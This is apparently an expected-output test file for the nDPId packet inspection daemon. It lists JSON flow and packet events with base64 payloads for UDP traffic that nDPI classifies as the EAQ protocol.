+00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1432820988681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.68","src_port":36577,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1432820988681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.68","src_port":36577,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1432820982681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.68","src_port":53059,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1432820982681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.68","src_port":53059,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1432820985681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.66","src_port":47346,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1432820985681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.66","src_port":47346,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1432820980685,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.66","src_port":56128,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1432820980685,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.66","src_port":56128,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1432820984681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.68","src_port":43934,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1432820984681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.68","src_port":43934,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1432820987681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.67","src_port":50175,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1432820987681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.67","src_port":50175,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1432820989681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.67","src_port":60013,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820989,"pkt_ts_usec":681348,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR37IKCAAByMKIQ+ptF3AAGKSTAAAAAQAADdwADGBUAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":96,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1432820990681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.66","src_port":33356,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820990,"pkt_ts_usec":681348,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR0rMKCAAByMKVQoJMF3AAGLjEAAAAAQAADdwADqdDAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":97,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1432820991681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.67","src_port":40058,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820991,"pkt_ts_usec":681348,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4bIKCAAByMKGQ5x6F3AAGKy\/AAAAAQAADdwADqgZAACQAA=="} +00411{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820992,"pkt_ts_usec":681348,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3WwKCAAByLmKkswhF3AAGOZEAAAAAgAADd0AATqyAACQAA=="} +00411{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820992,"pkt_ts_usec":745099,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsABxAABARDVHIuYqSCggAARdwzCEAGBZFAAAAAgAADd0AATqyAABgAA=="} +00412{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820992,"pkt_ts_usec":745190,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR6hwKCAAByLl94r76F3AAGK27AAAAAgAADd0AAY0SAACQAA=="} +00412{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820992,"pkt_ts_usec":834973,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAB1AABARGgDIuX3iCggAARdwvvoAGN27AAAAAgAADd0AAY0SAABgAA=="} +00412{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820992,"pkt_ts_usec":835065,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR07IKCAAByMKUQ8lxF3AAGMm0AAAAAgAADd0AAlA3AACQAA=="} +00412{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820992,"pkt_ts_usec":905285,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAB5AABARA5XIwpRDCggAARdwyXEAGPm0AAAAAgAADd0AAlA3AABgAA=="} +00413{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820992,"pkt_ts_usec":905408,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR07MKCAAByMKUQqZ8F3AAGL1\/AAAAAgAADd0ABX9fAACQAA=="} +00412{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820993,"pkt_ts_usec":25220,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAB9AABARA5XIwpRCCggAARdwpnwAGO1\/AAAAAgAADd0ABX9fAABgAA=="} +00411{"flow_id":8,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820993,"pkt_ts_usec":25311,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR07EKCAAByMKURKp5F3AAGKgIAAAAAgAADd0ABpDWAACQAA=="} +00412{"flow_id":8,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820993,"pkt_ts_usec":125256,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsACBAABARA5LIwpRECggAARdwqnkAGNgIAAAAAgAADd0ABpDWAABgAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":108,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1432820993125,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.66","src_port":41438,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820993,"pkt_ts_usec":125378,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR2rMKCAAByMKNQqHeF3AAGIg4AAAAAgAADd4AAsBGAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":109,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1432820994121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.68","src_port":34687,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00414{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820994,"pkt_ts_usec":121380,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR2rEKCAAByMKNRId\/F3AAGLxBAAAAAgAADd4ABaaXAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":110,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1432820995121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.67","src_port":39221,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820995,"pkt_ts_usec":121380,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3rIKCAAByMKJQ5k1F3AAGK16AAAAAgAADd4ABaepAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":111,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1432820996121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.66","src_port":53354,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820996,"pkt_ts_usec":121380,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3rMKCAAByMKJQtBqF3AAGFCaAAAAAgAADd4ABc1VAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":112,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1432820997121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.68","src_port":59959,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820997,"pkt_ts_usec":121380,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3rEKCAAByMKJROo3F3AAGA90AAAAAgAADd4ABfSsAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":113,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1432820998121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.67","src_port":37985,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820998,"pkt_ts_usec":121380,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR5rIKCAAByMKBQ5RhF3AAGB3IAAAAAgAADd4ABkQvAACQAA=="} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":114,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1432820999121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.66","src_port":48666,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820999,"pkt_ts_usec":121350,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR5rMKCAAByMKBQr4aF3AAGPM5AAAAAgAADd4ABkUFAACQAA=="} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1432820999121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.66","src_port":48666,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1432820999121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.66","src_port":48666,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1432820994121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.68","src_port":34687,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1432820994121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.68","src_port":34687,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1432820996121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.66","src_port":53354,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1432820996121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.66","src_port":53354,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1432820995121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.67","src_port":39221,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1432820995121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.67","src_port":39221,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1432820993125,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.66","src_port":41438,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1432820993125,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.66","src_port":41438,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1432820997121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.68","src_port":59959,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1432820997121,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.68","src_port":59959,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":115,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1432820990681,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.66","src_port":33356,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} 